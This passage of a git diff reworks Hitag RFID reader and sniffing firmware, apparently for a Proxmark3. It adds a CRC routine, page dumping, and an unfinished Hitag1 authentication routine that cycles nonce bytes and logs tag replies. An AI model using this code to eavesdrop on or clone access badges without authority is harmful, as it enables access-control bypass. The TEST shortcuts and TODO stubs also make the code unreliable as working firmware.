AT91C_TC_SWTRG; - - // Binary puls length modulation (BPLM) is used to encode the data stream + // Binary pulse length modulation (BPLM) is used to encode the data stream // This means that a transmission of a one takes longer than that of a zero - // Enable modulation, which means, drop the field - HIGH(GPIO_SSC_DOUT); + // Enable modulation, which means, drop the field + lf_modulation(true); // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + lf_wait_periods(8); // wait for 4-10 times the carrier period // Disable modulation, just activates the field again - LOW(GPIO_SSC_DOUT); + lf_modulation(false); if (bit == 0) { // Zero bit: |_-| - while (AT91C_BASE_TC0->TC_CV < T0 * 22) {}; - + lf_wait_periods(12); // wait for 18-22 times the carrier period } else { // One bit: |_--| - while (AT91C_BASE_TC0->TC_CV < T0 * 28) {}; + lf_wait_periods(22); // wait for 26-32 times the carrier period } + /*lf_wait_periods(10);*/ LED_A_OFF(); } @@ -320,18 +328,243 @@ static void hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) { for (size_t i = 0; i < frame_len; i++) { hitag_reader_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); } - // Send EOF - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - // Enable modulation, which means, drop the field - HIGH(GPIO_SSC_DOUT); + // Enable modulation, which means, drop the field + lf_modulation(true); // Wait for 4-10 times the carrier period - while (AT91C_BASE_TC0->TC_CV < T0 * 6) {}; + lf_wait_periods(8); // Disable modulation, just activates the field again - LOW(GPIO_SSC_DOUT); + lf_modulation(false); + + // t_stop, high field for stop condition (> 36) + lf_wait_periods(28); } size_t blocknr; +uint8_t hitag_crc(uint8_t *data, size_t length){ + uint8_t crc = 0xff; + unsigned int byte, bit; + for(byte=0; byte<((length+7)/8); byte++){ + crc ^= *(data + byte); + bit = length < (8*(byte+1)) ? (length % 8) : 8; + while(bit--){ + if(crc & 0x80){ + crc<<=1; + crc ^= 0x1d; + } else { + crc<<=1; + } + } + } + return crc; +} + +#define test_bit(data, i) (*(data+(i/8)) >> (7-(i%8))) & 1 +#define set_bit(data, i) *(data+(i/8)) |= (1 << (7-(i%8))) +#define clear_bit(data, i) *(data+(i/8)) &= ~(1 << (7-(i%8))) +#define flip_bit(data, i) *(data+(i/8)) ^= (1 << (7-(i%8))) +void fix_ac_decoding(uint8_t *input, size_t len){ + // Reader routine tries to decode AC data after Manchester decoding + // AC has double the bitrate, extract data from bit-pairs + uint8_t temp[len / 16]; + memset(temp, 0, sizeof(temp)); + + for (size_t i = 1; i < len; i += 2) { + if (test_bit(input, i) && test_bit(input, (i + 1))){ + set_bit(temp, (i / 2)); + } + } + memcpy(input, temp, sizeof(temp)); +} + +bool hitag_plain(uint8_t* rx, const size_t rxlen, uint8_t* tx, size_t* txlen, bool hitag_s) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if(!bCollision) blocknr--; + if(blocknr < 0) { + blocknr = 0; + } + if(!hitag_s){ + if (blocknr > 1 && blocknr < 31) { + blocknr=31; + } + } + bCollision = true; + return true; + } + case 32: { + if(bCollision){ + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx,37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + } else { + memcpy(tag.sectors[blocknr], rx, 4); + blocknr++; + if(!hitag_s){ + if (blocknr > 1 && blocknr < 31) { + blocknr=31; + } + } + if (blocknr > 63) { + DbpString("Read succesful!"); + *txlen = 0; + bSuccessful = true; + return false; + } + // read next page of card until done + Dbprintf("Reading page %02u", blocknr); + tx[0] = 0xc0 | blocknr >> 4; // RDPPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx,12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + } + } break; + default: { + Dbprintf("Uknown frame length: %d",rxlen); + return false; + } break; + } + return true; +} + +size_t flipped_bit = 0; + +uint32_t byte_value = 0; +bool hitag1_authenticate(uint8_t* rx, const size_t rxlen, uint8_t* tx, size_t* txlen) { + uint8_t crc; + *txlen = 0; + switch (rxlen) { + case 0: { + // retry waking up card + /*tx[0] = 0xb0; // Rev 3.0*/ + tx[0] = 0x30; // Rev 2.0 + *txlen = 5; + if (bCrypto && byte_value <= 0xff){ + // to retry + bCrypto = false; + } + if(!bCollision) blocknr--; + if(blocknr < 0) { + blocknr = 0; + } + bCollision = true; + // will receive 32-bit UID + } break; + case 2: { + if (bAuthenticating) { + // received Auth init ACK, send nonce + // TODO Roel, bit-manipulation goes here + /*nonce[0] = 0x2d;*/ + /*nonce[1] = 0x74;*/ + /*nonce[2] = 0x80;*/ + /*nonce[3] = 0xa5;*/ + nonce[0]=byte_value; + byte_value++; + /*set_bit(nonce,flipped_bit);*/ + memcpy(tx,nonce,4); + *txlen = 32; + // will receive 32 bit encrypted Logdata + } else if (bCrypto) { + // authed, start reading + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx,12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + // will receive 32-bit encrypted page + } + } break; + case 32: { + if (bCollision){ + // Select card by serial from response + tx[0] = 0x00 | rx[0] >> 5; + tx[1] = rx[0] << 3 | rx[1] >> 5; + tx[2] = rx[1] << 3 | rx[2] >> 5; + tx[3] = rx[2] << 3 | rx[3] >> 5; + tx[4] = rx[3] << 3; + crc = hitag_crc(tx,37); + tx[4] |= crc >> 5; + tx[5] = crc << 3; + *txlen = 45; + bCollision = false; + bSelecting = true; + // will receive 32-bit configuration page + } else if (bSelecting){ + // Initiate auth + tx[0] = 0xa0 | key_no >> 4; // WRCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx,12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + bSelecting = false; + bAuthenticating = true; + // will receive 2-bit ACK + } else if (bAuthenticating) { + // received 32-bit logdata 0 + // TODO decrypt logdata 0, verify against logdata_0 + memcpy(tag.sectors[0], rx, 4); + memcpy(tag.sectors[1], tx, 4); + Dbprintf("%02x%02x%02x%02x %02x%02x%02x%02x", rx[0], rx[1], rx[2], rx[3], tx[0], tx[1], tx[2], tx[3]); + // TODO replace with secret data stream + // TODO encrypt logdata_1 + memcpy(tx,logdata_1,4); + *txlen = 32; + bAuthenticating = false; + bCrypto = true; + // will receive 2-bit ACK + } else if (bCrypto) { + // received 32-bit encrypted page + // TODO decrypt rx + memcpy(tag.sectors[blocknr],rx,4); + blocknr++; + if (blocknr > 63) { + DbpString("Read succesful!"); + bSuccessful = true; + return false; + } + + // TEST + Dbprintf("Succesfully authenticated with logdata:"); + Dbhexdump(4,logdata_1,false); + bSuccessful = true; + return false; + + // read next page of card until done + tx[0] = 0xe0 | blocknr >> 4; // RDCPAGE + tx[1] = blocknr << 4; + crc = hitag_crc(tx,12); + tx[1] |= crc >> 4; + tx[2] = crc << 4; + *txlen = 20; + } + } break; + default: { + Dbprintf("Uknown frame length: %d",rxlen); + return false; + } break; + } + + return true; +} + //----------------------------------------------------------------------------- // Hitag2 operations //----------------------------------------------------------------------------- @@ -686,9 +919,11 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t // Store the received block memcpy(tag.sectors[blocknr], rx, 4); blocknr++; + + Dbhexdump(4, rx, false); } if (blocknr > 0) { - // DbpString("Read successful!"); + DbpString("Read successful!"); bSuccessful = true; return false; } @@ -705,21 +940,11 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } // Hitag2 Sniffing -void SniffHitag(void) { +void SniffHitag(uint32_t type) { + LEDsoff(); StopTicks(); - - // int frame_count; - int response; - int overflow; - bool rising_edge; - bool reader_frame; - int lastbit; - bool bSkip; - int tag_sof; - uint8_t rx[HITAG_FRAME_LEN]; - size_t rxlen = 0; - + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); BigBuf_free(); BigBuf_Clear_ext(false); @@ -735,143 +960,41 @@ void SniffHitag(void) { DbpString("Starting Hitag2 sniffing"); LED_D_ON(); - // Set up eavesdropping mode, frequency divisor which will drive the FPGA - // and analog mux selection. - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_TOGGLE_MODE); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + lf_init(false); + logging = false; - // Configure output pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Disable modulation, we are going to eavesdrop, not modulate ;) - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for TIMER_CLOCK1, used to capture edges of the reader frames - AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on rising edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_BOTH | AT91C_TC_ABETRG | AT91C_TC_LDRA_BOTH; - - // Enable and reset counter - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC1->TC_CV > 0) {}; // wait until TC1 returned to zero - - // Reset the received frame, frame count and timing info - memset(rx, 0x00, sizeof(rx)); - // frame_count = 0; - response = 0; - overflow = 0; - reader_frame = false; - lastbit = 1; - bSkip = true; - tag_sof = 4; + size_t periods = 0; + uint8_t periods_bytes[4]; + /*bool waiting_for_first_edge = true;*/ + LED_C_ON(); + while (!BUTTON_PRESS() && !data_available()) { - // Watchdog hit + WDT_HIT(); - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_EOF) { - // Check if rising edge in modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); - - // Find out if we are dealing with a rising or falling edge - rising_edge = (AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME) > 0; - - // Shorter periods will only happen with reader frames - if (!reader_frame && rising_edge && ra < HITAG_T_TAG_CAPTURE_ONE_HALF) { - // Switch from tag to reader capture - LED_C_OFF(); - reader_frame = true; - memset(rx, 0x00, sizeof(rx)); - rxlen = 0; - } - - // Only handle if reader frame and rising edge, or tag frame and falling edge - if (reader_frame != rising_edge) { - overflow += ra; - continue; - } - - // Add the buffered timing values of earlier captured edges which were skipped - ra += overflow; - overflow = 0; - - if (reader_frame) { - LED_B_ON(); - // Capture reader frame - if (ra >= HITAG_T_STOP) { - if (rxlen != 0) { - //DbpString("wierd0?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - response = (ra - HITAG_T_LOW); - } else if (ra >= HITAG_T_1_MIN) { - // '1' bit - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_0_MIN) { - // '0' bit - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - } else { - // Ignore wierd value, is to small to mean anything - } - } else { - LED_C_ON(); - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //DbpString("wierd1?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Ignore wierd value, is to small to mean anything - } - } + // Receive frame, watch for at most T0*EOF periods + lf_reset_counter(); + + // Wait "infinite" for reader modulation + periods = lf_detect_gap(20000); + + // Test if we detected the first reader modulation edge + if (periods != 0) { + if (logging == false) { + logging = true; + LED_D_ON(); } } + + /*lf_count_edge_periods(10000);*/ + while ((periods = lf_detect_gap(64)) != 0){ + num_to_bytes(periods, 4, periods_bytes); + LogTrace(periods_bytes, 4, 0, 0, NULL, true); + } + +/* // Check if frame was captured if (rxlen > 0) { // frame_count++; @@ -885,38 +1008,14 @@ void SniffHitag(void) { auth_table_len += 8; } } - - // Reset the received frame and response timing info - memset(rx, 0x00, sizeof(rx)); - response = 0; - reader_frame = false; - lastbit = 1; - bSkip = true; - tag_sof = 4; - overflow = 0; - - LED_B_OFF(); - LED_C_OFF(); - } else { - // Save the timer overflow, will be 0 when frame was received - overflow += (AT91C_BASE_TC1->TC_CV / T0); - } - // Reset the frame length - rxlen = 0; - // Reset the timer to restart while-loop that receives frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_SWTRG; +*/ } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); - // release allocated memory from BigBuff. - BigBuf_free(); StartTicks(); - DbpString("Hitag2 sniffing end, use `lf hitag list` for annotations"); + DbpString("Hitag2 sniffing finish. Use `lf hitag list` for annotations"); } // Hitag2 simulation @@ -1098,24 +1197,61 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { StopTicks(); - // int frame_count = 0; - int response = 0; + int frame_count = 0; + int response; uint8_t rx[HITAG_FRAME_LEN]; size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; uint8_t *tx = txbuf; size_t txlen = 0; - int lastbit = 1; - bool bSkip; - int reset_sof; - int tag_sof; - int t_wait = HITAG_T_WAIT_MAX; - bool bStop = false; - + int t_wait_1; + int t_wait_2; + size_t tag_size; + bool bStop = false; + + // Raw demodulation/decoding by sampling edge periods + size_t periods = 0; + + // Reset the return status bSuccessful = false; + bCrypto = false; + + // Clean up trace and prepare it for storing frames + set_tracing(true); + clear_trace(); + + DbpString("Starting Hitag reader family"); // Check configuration switch (htf) { + case RHT1F_PLAIN: { + Dbprintf("Read public blocks in plain mode"); + // this part will be unreadable + memset(tag.sectors+2, 0x0, 30); + blocknr = 0; + } break; + + case RHT1F_AUTHENTICATE: { + Dbprintf("Read all blocks in authed mode"); + memcpy(nonce, htd->ht1auth.nonce, 4); + memcpy(key, htd->ht1auth.key, 4); + memcpy(logdata_0, htd->ht1auth.logdata_0, 4); + memcpy(logdata_1, htd->ht1auth.logdata_1, 4); + // TEST + memset(nonce, 0x0, 4); + memset(logdata_1, 0x00, 4); + byte_value = 0; + key_no = htd->ht1auth.key_no; + Dbprintf("Authenticating using key #%d:", key_no); + Dbhexdump(4, key, false); + DbpString("Nonce:"); + Dbhexdump(4, nonce, false); + DbpString("Logdata_0:"); + Dbhexdump(4, logdata_0, false); + DbpString("Logdata_1:"); + Dbhexdump(4, logdata_1, false); + blocknr = 0; + } break; case RHT2F_PASSWORD: { Dbprintf("List identifier in password mode"); memcpy(password, htd->pwd.password, 4); @@ -1136,6 +1272,9 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { DbpString("Authenticating using key:"); memcpy(key, htd->crypto.key, 6); //HACK; 4 or 6?? I read both in the code. Dbhexdump(6, key, false); + DbpString("Nonce:"); + Dbhexdump(4,nonce,false); + memcpy(nonce,htd->crypto.data,4); blocknr = 0; bCrypto = false; bAuthenticating = false; @@ -1162,71 +1301,45 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } } - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - BigBuf_free(); - clear_trace(); - set_tracing(true); - LED_D_ON(); hitag2_init(); + // init as reader + lf_init(true); - // Set fpga in edge detect with reader field, we can modulate as reader now - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - - // Configure output and enable pin that is connected to the FPGA (for modulating) - AT91C_BASE_PIOA->PIO_OER |= GPIO_SSC_DOUT; - AT91C_BASE_PIOA->PIO_PER |= GPIO_SSC_DOUT; - - // Disable modulation at default, which means enable the field - LOW(GPIO_SSC_DOUT); - - // Enable Peripheral Clock for - // TIMER_CLOCK0, used to measure exact timing before answering - // TIMER_CLOCK1, used to capture edges of the tag frames - AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); - - // PIO_A - BSR - AT91C_BASE_PIOA->PIO_BSR = GPIO_SSC_FRAME; - - // Disable timer during configuration - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // TC0: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), no triggers - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; - - // TC1: Capture mode, default timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, - // external trigger rising edge, load RA on falling edge of TIOA. - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_FALLING | AT91C_TC_ABETRG | AT91C_TC_LDRA_FALLING; - - // Enable and reset counters - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - - // synchronized startup procedure - while (AT91C_BASE_TC0->TC_CV > 0) {}; // wait until TC0 returned to zero - + uint8_t attempt_count = 0; + // Tag specific configuration settings (sof, timings, etc.) - if (htf < 10) { + if (htf < 10){ // hitagS settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + /*tag_size = 256;*/ + flipped_bit = 0; + tag_size = 8; + DbpString("Configured for hitagS reader"); } else if (htf < 20) { // hitag1 settings - reset_sof = 1; - t_wait = 200; + t_wait_1 = 204; + t_wait_2 = 128; + tag_size = 256; + flipped_bit = 0; + DbpString("Configured for hitag1 reader"); } else if (htf < 30) { // hitag2 settings - reset_sof = 4; - t_wait = HITAG_T_WAIT_2; + t_wait_1 = 206; + t_wait_2 = 90; + tag_size = 48; + DbpString("Configured for hitag2 reader"); } else { Dbprintf("Error, unknown hitag reader type: %d", htf); - goto out; + return; } - uint8_t attempt_count = 0; + + uint8_t tag_modulation; + size_t max_nrzs = 8 * HITAG_FRAME_LEN + 5; + uint8_t nrz_samples[max_nrzs]; + size_t nrzs = 0; while (!bStop && !BUTTON_PRESS() && !data_available()) { @@ -1234,13 +1347,23 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { // Check if frame was captured and store it if (rxlen > 0) { - // frame_count++; + frame_count++; + response++; LogTrace(rx, nbytes(rxlen), response, response, NULL, false); + //Dbhexdump(nbytes(rxlen), rx, false); } // By default reset the transmission buffer tx = txbuf; switch (htf) { + case RHT1F_PLAIN: { + bStop = !hitag_plain(rx, rxlen, tx, &txlen, false); + } break; + + case RHT1F_AUTHENTICATE: { + bStop = !hitag1_authenticate(rx, rxlen, tx, &txlen); + } break; + case RHT2F_PASSWORD: { bStop = !hitag2_password(rx, rxlen, tx, &txlen, false); break; @@ -1271,113 +1394,153 @@ void ReaderHitag(hitag_function htf, hitag_data *htd) { } } - // Send and store the reader command - // Disable timer 1 with external trigger to avoid triggers during our own modulation - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - - // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, - // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occurred halfway the period. with respect to this falling edge, - // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. - // All timer values are in terms of T0 units - while (AT91C_BASE_TC0->TC_CV < T0 * (t_wait + (HITAG_T_TAG_HALF_PERIOD * lastbit))); - + // Wait for t_wait_2 carrier periods after the last tag bit before transmitting, + lf_wait_periods(t_wait_2); + // Transmit the reader frame hitag_reader_send_frame(tx, txlen); - // Enable and reset external trigger in timer for capturing future frames - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + // Let the antenna and ADC values settle + // And find the position where edge sampling should start + lf_wait_periods(t_wait_1 - 64); - // Add transmitted frame to total count + // Reset the response time (in number of periods) + response = 0; + + // Keep administration of the first edge detection + bool waiting_for_first_edge = true; + + // Did we detected any modulaiton at all + bool detected_tag_modulation = false; + + // Use the current modulation state as starting point + tag_modulation = lf_get_tag_modulation(); + + // Reset the number of NRZ samples and use edge detection to detect them + nrzs = 0; + while (nrzs < max_nrzs) { + // Get the timing of the next edge in number of wave periods + periods = lf_count_edge_periods(128); + + // Are we dealing with the first incoming edge + if (waiting_for_first_edge) { + // Just break out of loop after an initial time-out (tag is probably not available) + if (periods == 0) break; + // Register the number of periods that have passed + response = t_wait_1-64 + periods; + // Indicate that we have dealt with the first edge + waiting_for_first_edge = false; + // The first edge is always a single NRZ bit, force periods on 16 + periods = 16; + // We have received more than 0 periods, so we have detected a tag response + detected_tag_modulation = true; + } else { + // The function lf_count_edge_periods() returns 0 when a time-out occurs + if (periods == 0) { + Dbprintf("Detected timeout after [%d] nrz samples",nrzs); + break; + } + } + + // Evaluate the number of periods before the next edge + if (periods > 24 && periods <= 64){ + // Detected two sequential equal bits and a modulation switch + // NRZ modulation: (11 => --|) or (11 __|) + nrz_samples[nrzs++] = tag_modulation; + nrz_samples[nrzs++] = tag_modulation; + // Invert tag modulation state + tag_modulation ^= 1; + } else if (periods > 0 && periods <= 24){ + // Detected one bit and a modulation switch + // NRZ modulation: (1 => -|) or (0 _|) + nrz_samples[nrzs++] = tag_modulation; + tag_modulation ^= 1; + } else { + tag_modulation ^= 1; + // The function lf_count_edge_periods() returns > 64 periods, this is not a valid number periods + Dbprintf("Detected unexpected period count: %d", periods); + break; + } + } + + // Store the TX frame, we do this now at this point, to avoid delay in processing + // and to be able to overwrite the first samples with the trace (since they currently + // still use the same memory space) if (txlen > 0) { - // frame_count++; + frame_count++; LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, HITAG_T_WAIT_2, NULL, true); } // Reset values for receiving frames memset(rx, 0x00, sizeof(rx)); rxlen = 0; - lastbit = 1; - bSkip = true; - tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { + // If there is no response, just repeat the loop + if (!detected_tag_modulation) continue; - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); + // Make sure we always have an even number of samples. This fixes the problem + // of ending the manchester decoding with a zero. See the example below where + // the '|' character is end of modulation + // One at the end: ..._-|_____... + // Zero at the end: ...-_|_____... + // The last modulation change of a zero is not detected, but we should take + // the half period in account, otherwise the demodulator will fail. + if ((nrzs % 2) != 0) { + nrz_samples[nrzs++] = tag_modulation; + } - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; + LED_B_ON(); - LED_B_ON(); + // decode bitstream + manrawdecode((uint8_t*)nrz_samples, &nrzs, true, 0); - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - errorCount++; - // Ignore wierd value, is to small to mean anything + // decode frame + + // Verify if the header consists of five consecutive ones + if (nrzs < 5) { + Dbprintf("Detected unexpected number of manchester decoded samples [%d]",nrzs); + break; + } else { + for (size_t i = 0; i < 5; i++){ + if (nrz_samples[i] != 1) { + Dbprintf("Detected incorrect header, the bit [%d] is zero instead of one",i); } } - //if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) break; - } } - } + + // Pack the response into a byte array + for (size_t i = 5; i < 37; i++){ + uint8_t bit = nrz_samples[i]; + rx[rxlen / 8] |= bit << (7 - (rxlen % 8)); + rxlen++; + } + + // Check if frame was captured and store it + if (rxlen > 0) { + frame_count++; + if (bCollision){ + // AC decoding hack + fix_ac_decoding(rx, 64); + rxlen = 32; + } + + LogTrace(rx, rxlen, response, 0, NULL, false); + //Dbhexdump(rxlen, rx, false); + } + } out: - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - set_tracing(false); - - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + lf_finalize(); + Dbprintf("frame received: %u", frame_count); // release allocated memory from BigBuff. BigBuf_free(); StartTicks(); if (bSuccessful) - reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, 48); + reply_old(CMD_ACK, bSuccessful, 0, 0, (uint8_t *)tag.sectors, tag_size); else - reply_old(CMD_ACK, bSuccessful, 0, 0, 0, 0); + reply_mix(CMD_ACK, bSuccessful, 0, 0, 0, 0); } void WriterHitag(hitag_function htf, hitag_data *htd, int page) { diff --git a/armsrc/hitag2.h b/armsrc/hitag2.h index 9e0fb84e6..79ada4ddf 100644 --- a/armsrc/hitag2.h +++ b/armsrc/hitag2.h @@ -14,7 +14,7 @@ #include "common.h" #include "hitag.h" -void SniffHitag(void); +void SniffHitag(uint32_t type); void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data); void ReaderHitag(hitag_function htf, hitag_data *htd); void WriterHitag(hitag_function htf, hitag_data *htd, int page); diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index d59fae07d..09ee5a2a6 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -168,7 +168,9 @@ void lf_init(bool reader) { AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // Prepare data trace - if (logging) initSampleBuffer(NULL); + uint32_t bufsize = 20000; + + if (logging) initSampleBuffer(&bufsize); } diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 3378a9f94..8b0c14d94 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -106,17 +106,23 @@ sampling_t samples = {0, 0, 0, 0}; void initSampleBuffer(uint32_t *sample_size) { + BigBuf_free(); + BigBuf_Clear_ext(false); + if (sample_size == NULL || *sample_size == 0) { *sample_size = BigBuf_max_traceLen(); + + data.buffer = BigBuf_get_addr(); + + memset(data.buffer, 0, *sample_size); } else { *sample_size = MIN(*sample_size, BigBuf_max_traceLen()); + + data.buffer = BigBuf_malloc(*sample_size); + + memset(data.buffer, 0, *sample_size); } - // use a bitstream to handle the output - data.buffer = BigBuf_get_addr(); - - memset(data.buffer, 0, *sample_size); - // samples.dec_counter = 0; samples.sum = 0; diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index 40e909024..625b0bef0 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -485,8 +485,9 @@ static int CmdLFHitagInfo(const char *Cmd) { if (getHitagUid(&uid) == false) return 1; - 